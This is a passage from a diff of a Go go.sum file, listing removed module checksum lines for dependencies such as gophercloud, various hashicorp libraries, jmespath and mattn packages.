v0.6.1-0.20191122030953-d8ac278c1c9d/go.mod h1:ozGNgr9KYOVATV5jsgHl/ceCDXGuguqOZAzoQ/2vcNM= -github.com/gophercloud/gophercloud v0.10.1-0.20200424014253-c3bfe50899e5 h1:Ciwp7ro4LyptUOkili/TX/ecuYr7vGtEIFnOOOKUjD8= -github.com/gophercloud/gophercloud v0.10.1-0.20200424014253-c3bfe50899e5/go.mod h1:gmC5oQqMDOMO1t1gq5DquX/yAU808e/4mzjjDA76+Ss= -github.com/gophercloud/utils v0.0.0-20200423144003-7c72efc7435d h1:fduaPzWwIfvOMLuHk2Al3GZH0XbUqG8MbElPop+Igzs= -github.com/gophercloud/utils v0.0.0-20200423144003-7c72efc7435d/go.mod h1:ehWUbLQJPqS0Ep+CxeD559hsm9pthPXadJNKwZkp43w= -github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8= -github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= -github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= -github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= -github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4 h1:z53tR0945TRRQO/fLEVPI6SMv7ZflF0TEaTAoU7tOzg= -github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= -github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= -github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= -github.com/grpc-ecosystem/grpc-gateway v1.9.5 h1:UImYN5qQ8tuGpGE16ZmjvcTtTw24zw1QAp/SlnNrZhI= -github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= -github.com/hashicorp/aws-sdk-go-base v0.7.1 h1:7s/aR3hFn74tYPVihzDyZe7y/+BorN70rr9ZvpV3j3o= -github.com/hashicorp/aws-sdk-go-base v0.7.1/go.mod h1:2fRjWDv3jJBeN6mVWFHV6hFTNeFBx2gpDLQaZNxUVAY= -github.com/hashicorp/consul/api v1.9.1 h1:SngrdG2L62qqLsUz85qcPhFZ78rPf8tcD5qjMgs6MME= -github.com/hashicorp/consul/api v1.9.1/go.mod h1:XjsvQN+RJGWI2TWy1/kqaE16HrR2J/FWgkYjdZQsX9M= -github.com/hashicorp/consul/sdk v0.8.0 h1:OJtKBtEjboEZvG6AOUdh4Z1Zbyu0WcxQ0qatRrZHTVU= -github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= -github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= -github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-azure-helpers v0.12.0/go.mod h1:Zc3v4DNeX6PDdy7NljlYpnrdac1++qNW0I4U+ofGwpg= -github.com/hashicorp/go-azure-helpers v0.18.0 h1:hh+lFaURcQ0R12Pj0Ybn+dj6mTHU+I+ep/CAmXiYEvw= -github.com/hashicorp/go-azure-helpers v0.18.0/go.mod h1:lZo52hYeyEoo4qpUUruaEec13bFyu8ldjX2zTFzVzss= -github.com/hashicorp/go-checkpoint v0.5.0 h1:MFYpPZCnQqQTE18jFwSII6eUQrD/oxMFp3mlgcqk5mU= -github.com/hashicorp/go-checkpoint v0.5.0/go.mod h1:7nfLNL10NsxqO4iWuW6tWW0HjZuDrwkBuEQsVcpCOgg= -github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= -github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= -github.com/hashicorp/go-cty v1.4.1-0.20200414143053-d3edf31b6320/go.mod h1:EiZBMaudVLy8fmjf9Npq1dq9RalhveqZG5w/yz3mHWs= -github.com/hashicorp/go-getter v1.5.3/go.mod h1:BrrV/1clo8cCYu6mxvboYg+KutTiFnXjMEgDD8+i7ZI= -github.com/hashicorp/go-getter v1.5.10 h1:EN9YigTlv5Ola0IuleFzQGuaYPPHHtWusP/5AypWEMs= -github.com/hashicorp/go-getter v1.5.10/go.mod h1:9i48BP6wpWweI/0/+FBjqLrp9S8XtwUGjiu0QkWHEaY= -github.com/hashicorp/go-hclog v0.0.0-20180709165350-ff2cf002a8dd/go.mod h1:9bjs9uLqI8l75knNv3lV1kA55veR+WUPSiKIWcQHudI= -github.com/hashicorp/go-hclog v0.9.2/go.mod h1:5CU+agLiy3J7N7QjHK5d05KxGsuXiQLrjA0H7acj2lQ= -github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-hclog v0.14.1/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-hclog v0.15.0 h1:qMuK0wxsoW4D0ddCCYwPSTm4KQv1X1ke3WmPWZ0Mvsk= -github.com/hashicorp/go-hclog v0.15.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-immutable-radix v1.0.0 h1:AKDB1HM5PWEA7i4nhcpwOrO2byshxBjXVn/J/3+z5/0= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-msgpack v0.5.4 h1:SFT72YqIkOcLdWJUYcriVX7hbrZpwc/f7h8aW2NUqrA= -github.com/hashicorp/go-msgpack v0.5.4/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= -github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= -github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= -github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= -github.com/hashicorp/go-plugin v1.3.0/go.mod h1:F9eH4LrE/ZsRdbwhfjs9k9HoDUwAHnYtXdgmf1AVNs0= -github.com/hashicorp/go-plugin v1.4.1/go.mod h1:5fGEH17QVwTTcR0zV7yhDPLLmFX9YSZ38b18Udy6vYQ= -github.com/hashicorp/go-plugin v1.4.3 h1:DXmvivbWD5qdiBts9TpBC7BYL1Aia5sxbRgQB+v6UZM= -github.com/hashicorp/go-plugin v1.4.3/go.mod h1:5fGEH17QVwTTcR0zV7yhDPLLmFX9YSZ38b18Udy6vYQ= -github.com/hashicorp/go-retryablehttp v0.7.0 h1:eu1EI/mbirUgP5C8hVsTNaGZreBDlYiwC1FZWkvQPQ4= -github.com/hashicorp/go-retryablehttp v0.7.0/go.mod h1:vAew36LZh98gCBJNLH42IQ1ER/9wtLZZ8meHqQvEYWY= -github.com/hashicorp/go-rootcerts v1.0.2 h1:jzhAVGtqPKbwpyCPELlgNWhE1znq+qwJtW5Oi2viEzc= -github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= -github.com/hashicorp/go-safetemp v1.0.0 h1:2HR189eFNrjHQyENnQMMpCiBAsRxzbTMIgBhEyExpmo= -github.com/hashicorp/go-safetemp v1.0.0/go.mod h1:oaerMy3BhqiTbVye6QuFhFtIceqFoDHxNAB65b+Rj1I= -github.com/hashicorp/go-slug v0.7.0 h1:8HIi6oreWPtnhpYd8lIGQBgp4rXzDWQTOhfILZm+nok= -github.com/hashicorp/go-slug v0.7.0/go.mod h1:Ib+IWBYfEfJGI1ZyXMGNbu2BU+aa3Dzu41RKLH301v4= -github.com/hashicorp/go-sockaddr v1.0.0 h1:GeH6tui99pF4NJgfnhp+L6+FfobzVW3Ah46sLo0ICXs= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-tfe v0.21.0 h1:P1QoeLkigDi4BXGQ//42kyXwfcHUqbh5jJemml6iQJs= -github.com/hashicorp/go-tfe v0.21.0/go.mod h1:gyXLXbpBVxA2F/6opah8XBsOkZJxHYQmghl0OWi8keI= -github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE= -github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-version v1.0.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= -github.com/hashicorp/go-version v1.1.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= -github.com/hashicorp/go-version v1.2.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= -github.com/hashicorp/go-version v1.3.0 h1:McDWVJIU/y+u1BRV06dPaLfLCaT7fUTJLp5r04x7iNw= -github.com/hashicorp/go-version v1.3.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= -github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.1 h1:0hERBMJE1eitiLkihrMvRVBYAkpHzc/J3QdDN+dAcgU= -github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/hcl v0.0.0-20170504190234-a4b07c25de5f h1:UdxlrJz4JOnY8W+DbLISwf2B8WXEolNRA8BGCwI9jws= -github.com/hashicorp/hcl v0.0.0-20170504190234-a4b07c25de5f/go.mod h1:oZtUIOe8dh44I2q6ScRibXws4Ajl+d+nod3AaR9vL5w= -github.com/hashicorp/hcl/v2 v2.0.0/go.mod h1:oVVDG71tEinNGYCxinCYadcmKU9bglqW9pV3txagJ90= -github.com/hashicorp/hcl/v2 v2.3.0/go.mod h1:d+FwDBbOLvpAM3Z6J7gPj/VoAGkNe/gm352ZhjJ/Zv8= -github.com/hashicorp/hcl/v2 v2.11.1 h1:yTyWcXcm9XB0TEkyU/JCRU6rYy4K+mgLtzn2wlrJbcc= -github.com/hashicorp/hcl/v2 v2.11.1/go.mod h1:FwWsfWEjyV/CMj8s/gqAuiviY72rJ1/oayI9WftqcKg= -github.com/hashicorp/jsonapi v0.0.0-20210826224640-ee7dae0fb22d h1:9ARUJJ1VVynB176G1HCwleORqCaXm/Vx0uUi0dL26I0= -github.com/hashicorp/jsonapi v0.0.0-20210826224640-ee7dae0fb22d/go.mod h1:Yog5+CPEM3c99L1CL2CFCYoSzgWm5vTU58idbRUaLik= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.1/go.mod h1:4gW7WsVCke5TE7EPeYliwHlRUyBtfCwuFwuMg2DmyNY= -github.com/hashicorp/memberlist v0.2.2 h1:5+RffWKwqJ71YPu9mWsF7ZOscZmwfasdA8kbdC7AO2g= -github.com/hashicorp/memberlist v0.2.2/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= -github.com/hashicorp/serf v0.9.5 h1:EBWvyu9tcRszt3Bxp3KNssBMP1KuHWyO51lz9+786iM= -github.com/hashicorp/serf v0.9.5/go.mod h1:UWDWwZeL5cuWDJdl0C6wrvrUwEqtQ4ZKBKKENpqIUyk= -github.com/hashicorp/terraform-config-inspect v0.0.0-20210209133302-4fd17a0faac2 h1:l+bLFvHjqtgNQwWxwrFX9PemGAAO2P1AGZM7zlMNvCs= -github.com/hashicorp/terraform-config-inspect v0.0.0-20210209133302-4fd17a0faac2/go.mod h1:Z0Nnk4+3Cy89smEbrq+sl1bxc9198gIP4I7wcQF6Kqs= -github.com/hashicorp/terraform-exec v0.14.0/go.mod h1:qrAASDq28KZiMPDnQ02sFS9udcqEkRly002EA2izXTA= -github.com/hashicorp/terraform-json v0.12.0/go.mod h1:pmbq9o4EuL43db5+0ogX10Yofv1nozM+wskr/bGFJpI= -github.com/hashicorp/terraform-plugin-go v0.4.0/go.mod h1:7u/6nt6vaiwcWE2GuJKbJwNlDFnf5n95xKw4hqIVr58= -github.com/hashicorp/terraform-plugin-sdk/v2 v2.8.0/go.mod h1:6KbP09YzlB++S6XSUKYl83WyoHVN4MgeoCbPRsdfCtA= -github.com/hashicorp/terraform-svchost v0.0.0-20200729002733-f050f53b9734 h1:HKLsbzeOsfXmKNpr3GiT18XAblV0BjCbzL8KQAMZGa0= -github.com/hashicorp/terraform-svchost v0.0.0-20200729002733-f050f53b9734/go.mod h1:kNDNcF7sN4DocDLBkQYz73HGKwN1ANB1blq4lIYLYvg= -github.com/hashicorp/yamux v0.0.0-20180604194846-3520598351bb/go.mod h1:+NfK9FKeTrX5uv1uIXGdwYDTeHna2qgaIlx54MXqjAM= -github.com/hashicorp/yamux v0.0.0-20181012175058-2f1d1f20f75d h1:kJCB4vdITiW1eC1vq2e6IsrXKrZit1bv/TDYFGMp4BQ= -github.com/hashicorp/yamux v0.0.0-20181012175058-2f1d1f20f75d/go.mod h1:+NfK9FKeTrX5uv1uIXGdwYDTeHna2qgaIlx54MXqjAM= -github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= -github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= -github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= -github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/imdario/mergo v0.3.5/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= -github.com/imdario/mergo v0.3.11/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= -github.com/imdario/mergo v0.3.12 h1:b6R2BslTbIEToALKP7LxUvijTsNI9TAe80pLWN2g/HU= -github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= -github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= -github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo= -github.com/jessevdk/go-flags v1.5.0/go.mod h1:Fw0T6WPc1dYxT4mKEZRfG5kJhaTDP9pj1c2EWnYs/m4= -github.com/jhump/protoreflect v1.6.0 h1:h5jfMVslIg6l29nsMs0D8Wj17RDVdNYti0vDN/PZZoE= -github.com/jhump/protoreflect v1.6.0/go.mod h1:eaTn3RZAmMBcV0fifFvlm6VHNz3wSkYyXYWUh7ymB74= -github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= -github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= -github.com/jmespath/go-jmespath v0.3.0/go.mod h1:9QtRXoHjLGCJ5IBSaohpXITPlowMeeYCZ7fLUTSywik= -github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= -github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= -github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8= -github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= -github.com/jonboulle/clockwork v0.1.0 h1:VKV+ZcuP6l3yW9doeqz6ziZGgcynBVQO+obU0+0hcPo= -github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= -github.com/joyent/triton-go v0.0.0-20180313100802-d8f9c0314926 h1:kie3qOosvRKqwij2HGzXWffwpXvcqfPPXRUw8I4F/mg= -github.com/joyent/triton-go v0.0.0-20180313100802-d8f9c0314926/go.mod h1:U+RSyWxWd04xTqnuOQxnai7XGS2PrPY2cfGoDKtMHjA= -github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.7/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= -github.com/json-iterator/go v1.1.10 h1:Kz6Cvnvv2wGdaG/V8yMvfkmNiXq9Ya2KUv4rouJJr68= -github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= -github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= -github.com/jstemmer/go-junit-report v0.9.1 h1:6QPYqodiu3GuPL+7mfx+NwDdp2eTkp9IfEUpgAwUN0o= -github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= -github.com/jtolds/gls v4.2.1+incompatible h1:fSuqC+Gmlu6l/ZYAoZzx2pyucC8Xza35fpRVWLVmUEE= -github.com/jtolds/gls v4.2.1+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= -github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= -github.com/kardianos/osext v0.0.0-20190222173326-2bc1f35cddc0 h1:iQTw/8FWTuc7uiaSepXwyf3o52HaUYcV+Tu66S3F5GA= -github.com/kardianos/osext v0.0.0-20190222173326-2bc1f35cddc0/go.mod h1:1NbS8ALrpOvjt0rHPNLyCIeMtbizbir8U//inJ+zuB8= -github.com/kevinburke/ssh_config v0.0.0-20201106050909-4977a11b4351/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= -github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= -github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= -github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/klauspost/compress v1.11.2 h1:MiK62aErc3gIiVEtyzKfeOHgW7atJb5g/KNX5m3c2nQ= -github.com/klauspost/compress v1.11.2/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs= -github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= -github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= -github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/pty v1.1.5 h1:hyz3dwM5QLc1Rfoz4FuWJQG5BN7tc6K1MndAUnGpQr4= -github.com/kr/pty v1.1.5/go.mod h1:9r2w37qlBe7rQ6e1fg1S/9xpWHSnaqNdHD3WcMdbPDA= -github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= -github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/kylelemons/godebug v0.0.0-20170820004349-d65d576e9348/go.mod h1:B69LEHPfb2qLo0BaaOLcbitczOKLWTsrBG9LczfCD4k= -github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= -github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= -github.com/lib/pq v1.10.3 h1:v9QZf2Sn6AmjXtQeFpdoq/eaNtYP6IN+7lcrygsIAtg= -github.com/lib/pq v1.10.3/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lusis/go-artifactory v0.0.0-20160115162124-7e4ce345df82 h1:wnfcqULT+N2seWf6y4yHzmi7GD2kNx4Ute0qArktD48= -github.com/lusis/go-artifactory v0.0.0-20160115162124-7e4ce345df82/go.mod h1:y54tfGmO3NKssKveTEFFzH8C/akrSOy/iW9qEAUDV84= -github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/manicminer/hamilton v0.35.0 h1:K72BHXLhlO+H/evI5iburLDfVe19bDaXO+hEIQEVkdg= -github.com/manicminer/hamilton v0.35.0/go.mod h1:IOYn2Dc9SUiZ7Ryw6c8Ay795vPPMnrCZe3MktS447dc= -github.com/masterzen/simplexml v0.0.0-20160608183007-4572e39b1ab9/go.mod h1:kCEbxUJlNDEBNbdQMkPSp6yaKcRXVI6f4ddk8Riv4bc= -github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 h1:2ZKn+w/BJeL43sCxI2jhPLRv73oVVOjEKZjKkflyqxg= -github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786/go.mod h1:kCEbxUJlNDEBNbdQMkPSp6yaKcRXVI6f4ddk8Riv4bc= -github.com/masterzen/winrm v0.0.0-20200615185753-c42b5136ff88 h1:cxuVcCvCLD9yYDbRCWw0jSgh1oT6P6mv3aJDKK5o7X4= -github.com/masterzen/winrm v0.0.0-20200615185753-c42b5136ff88/go.mod h1:a2HXwefeat3evJHxFXSayvRHpYEPJYtErl4uIzfaUqY= -github.com/matryer/is v1.2.0/go.mod h1:2fLPjFQM9rhQ15aVEtbuwhJinnOqrmgXPNdZsdwlWXA= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= -github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-colorable v0.1.6 h1:6Su7aK7lXmJ/U79bYtBjLNaha4Fs1Rg9plHpcH+vvnE= -github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= -github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY= -github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= -github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= -github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= -github.com/mattn/go-shellwords v1.0.4 h1:xmZZyxuP+bYKAKkA9ABYXVNJ+G/Wf3R8d8vAP3LDJJk= -github.com/mattn/go-shellwords v1.0.4/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o= -github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= -github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= -github.com/miekg/dns v1.1.26 h1:gPxPSwALAeHJSjarOs00QjVdV9QoBvc1D2ujQUr5BzU= -github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= -github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= -github.com/mitchellh/cli v1.1.2 h1:PvH+lL2B7IQ101xQL63Of8yFS2y+aDlsFcsqNc+u/Kw= -github.com/mitchellh/cli v1.1.2/go.mod h1:6iaV0fGdElS6dPBx0EApTxHrcWvmJphyh2n8YBLPPZ4= -github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= -github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod 